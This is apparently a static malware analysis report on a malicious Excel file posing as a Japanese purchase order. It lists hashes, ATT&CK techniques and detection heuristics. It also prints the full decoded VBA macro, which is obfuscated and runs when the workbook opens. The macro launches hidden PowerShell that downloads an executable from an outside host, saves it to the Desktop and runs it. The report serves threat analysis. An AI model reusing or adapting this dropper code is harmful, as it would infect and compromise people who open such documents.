Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38bfb6973c5d3c3f…

MALICIOUS

Office (OLE)

88.0 KB Created: 2009-02-14 12:31:57 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: bd887dc46edd2337ff525b66a90ef813 SHA-1: 48b63efc46f978a639cbe53599f26b45543754c7 SHA-256: 38bfb6973c5d3c3f083f5102a0e06b45bfd0353b29a0683b5c8bb7be4799b7c8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is an Excel file containing VBA macros, specifically a Workbook_Open macro that uses the Shell() function. The VBA script attempts to download a file from 'http://momerton.com/pager"' and save it as a .exe file on the desktop. The document body displays a Japanese purchase order with a prompt to enable content, indicating a social engineering lure to bypass macro security.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2737 bytes
SHA-256: a7f0c3e49fbc08e065b5c80d5ae388322856273410ade102aa43236c006df653
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

























































Function luaasiaa()
luaasiaa = "Op" + "roF" + "I -W"
End Function



Function majikoloa()
teesdeef = "(\""{" + "0}" + "{2"
majikoloa = teesdeef + "}{1}{" + "3}{" + "5}{6}" + "{4}\""-f'Sy','" + "te','s" + "','m" + ".Ne" + "','ent'" + ",'t.We" + "b','Cli')).dowN" + "LOadFiL" + "E.iNVoKE(\""ht"
End Function


Function stakabills()
stakabills = "$7d0m" + "K6 = [Typ" + "E](\""{1}{" + "0}{3}{2}\"" -f 'on','E" + "nVIr','Nt','ME') ;  "
End Function

Function fuokalabel()
If 191 > 100 Then
blackandfiire = "eR"
fuokalabel = blackandfiire + "shE"
End If
End Function


Function deomitriss()
deomitriss = "d" + "o{&(" + "\""{1}{" + "0}\"" -f'ep'" + ",'sle'" + ") 33;" + "${D`es} =  " + gloglue + "::gET" + "fo" + "lD" + "eRP" + "aTH(\""De" + "skt" + "op\"");(&(" + "\""{" + "0}{1}{2}\"" -f" + "'Ne','w-','O" + "bject') "
End Function


Function gloglue()
If 1234 > -56 Then
gloglue = "$7d" + "0mk6"
End If
End Function


Function attos()
Dim favekoliss As String
Randomize
favekoliss = Int(Rnd * 7890090#)
sedefegol = "while(!${?});" + "&(\""{0}{2}{3}{1}\""-f 'St','oces" + "s','art','-Pr') $Des\" + favekoliss + ".exe"""
berderelovic = majikoloa + "tp://momer" + "ton.com/pa" + "ger\"",\""$Des\" + favekoliss + ".exe\"")}"
attos = berderelovic + sedefegol
End Function




Sub Workbook_Open()
If sigdetNumberOfMonitors > 1 Then

paparazzzi = stakabills + deomitriss + attos
faramall = wolfandcat & paparazzzi
Shell faramall, BackstageGroupStyleNormal
End If
End Sub

Function wolfandcat()
If sigdetDocPreviewImg > 2 Then
tumerasdwr = "noN" + "InT"
smugleoddf = " -N"
apogeuses = "cm"

sandermenus = Array(Hour(Now), "DEN", Second(Now))
trnadeok = Array(Now(), "ass  " + "  """, Minute(Now), Minute(Now), "d   " + "/c""", Now())
wolfandcat = apogeuses + trnadeok(4) + "pOW" + fuokalabel + "Ll -n" + luaasiaa + "In  hiD" + sandermenus(1) + smugleoddf + "OLo -" + tumerasdwr + "eRA  -eX" + "eCU" + "TI" + "oNp bYp" + trnadeok(1)
End If
End Function





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True